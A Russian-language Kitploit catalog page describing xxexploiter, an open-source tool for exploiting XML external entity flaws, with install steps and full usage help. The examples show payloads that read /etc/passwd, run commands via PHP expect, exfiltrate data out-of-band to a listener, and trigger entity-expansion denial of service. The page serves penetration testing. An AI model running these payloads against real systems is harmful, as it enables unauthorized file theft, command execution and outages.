Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
xxexploiter — Инструмент для эксплуатации уязвимостей XXE | Kitploit
Инструменты/GitHubGitHub/luisfontes19/xxexploiter
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийФаззинг
GitHubluisfontes19/xxexploiter

xxexploiter

Инструмент для эксплуатации уязвимостей XXE

Репозиторий
615704 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

XXExploiter

Build codecov Known Vulnerabilities License: MIT

XXExploiter

Он генерирует XML-полезные нагрузки и автоматически запускает сервер для обслуживания необходимых DTD или для эксфильтрации данных.

Установка

root@kitploit:~
#install node and npm if you don't have it yet 
npm install -g xxexploiter

Сборка и запуск из исходного кода

Это простое Node-приложение, написанное на TypeScript. Вы можете собрать его, как и другие приложения: (сначала установите node и npm, если их нет)

root@kitploit:~
npm install
npm run build
#you may need to npm install typescript -g in order for 'npm build' to succeed

Запустить приложение можно одним из трех способов:

root@kitploit:~
npm start [args]
node dist/index.js [args]
npm link #and now just call xxexploiter

Или вы можете установить его в вашей системе:

root@kitploit:~
npm link

Использование

root@kitploit:~
Usage: xxexploiter [command] [options]

Commands:
  xxexploiter file [file_to_read]  Use XXE to do a request
  xxexploiter request [URL]        Use XXE to do a request
  xxexploiter expect [command]     Use XXE to execute a command through PHP's expect
  xxexploiter xee [expantions]     Generate a huge content by resolving entities

Fuzzing Specific Options
  -w, --wordlist        Path to a wordlist to be used with the fuzz command. Use {{FUZZ}} placeholder in the command arg
                        for the magic.
  -y, --success-string  String to search for a success response in the requests. Not usefull for blind attacks
  -n, --error-string    String to search for an error response in the request. Not usefull for blind attacks

Options:
  --version             Show version number                                                                    [boolean]
  -s, --server          Server address for OOB and DTD
  -p, --port            Server port for OOB and DTDs. Default: 7777
  -t, --template        path to an XML template where to inject payload
  -m, --mode            Extraction Mode: xml, oob, cdata. Default: xml
  -e, --encode          Extraction Encoding: none, phpbase64. Default: none
  -o, --output          Output for the XML payload file. Default is to console
  -x                    Use a request to automatically send the xml file
  -X, --request-output  Output the response from -x option. If not defined goes to stdout
  --verbose             Enable some messages help for understanding whats happening
  --doctype             Specify the name of the doctype to be injected. Default is xxexploiter
  -h, --help            Show help                                                                              [boolean]

Examples:
  xxexploiter expect ls
  xxexploiter -s 127.0.0.1 expect ls -e phpbase64 -m oob -o output.xml
  xxexploiter -s 127.0.0.1 file /c/windows/win.ini -t xmltemplate.xml -m oob
  xxexploiter xee 900000000 -o output.xml
  xxexploiter file /etc/passwd -x request.txt -t template.xml
  xxexploiter file /root/{FUZZ} -w wordlist.txt -n "not found" -x request.txt

Extra Info:
  - When using the xml or cdata modes, add the placeholder '{{XXE}}' in the field where you want the entity content to
  be injected
  - When specifiying file paths for windows use forward slash.
  - OOB: Out Of Bound: You can use this option to send the data processed by the xml parser, to your local webserver.
  Usefull with blind attacks
  - When using XML mode, it may break the XML parsing if XML reserved characters are loaded, so you may want to use
  cdata
  - When using the request option, you can specify the placeholder to inject the payload with {{XXE}} or {{XXE_B64}}
  - When fuzzing you can add the {{FUZZ}} keyword in the main command argument.
  - You can specify a string to filter successfull requests when fuzzing, either by supplying an expected error string,
  or an expected success string

Примеры

Простая генерация полезной нагрузки

asciicast

Автоматизация запроса для отправки полезной нагрузки

asciicast

OOB-извлечение с автоматизированным запросом

asciicast

Фаззинг

asciicast

Некоторые замечания:

Если вы решите использовать режим OOB или CDATA, XXExploiter сгенерирует необходимый DTD и запустит сервер для их размещения. Имейте в виду, что при использовании этих опций необходимо указать адрес сервера.

Если вы добавляете содержимое в тело XML, помните, что зарезервированные символы XML, такие как '<', могут нарушить разбор, поэтому используйте CDATA или PHP base64encode.

Большинство языков ограничивают количество расширений сущностей или общую длину расширенного содержимого, поэтому сначала протестируйте XEE на своей машине в тех же условиях, что и цель.

Скачать инструмент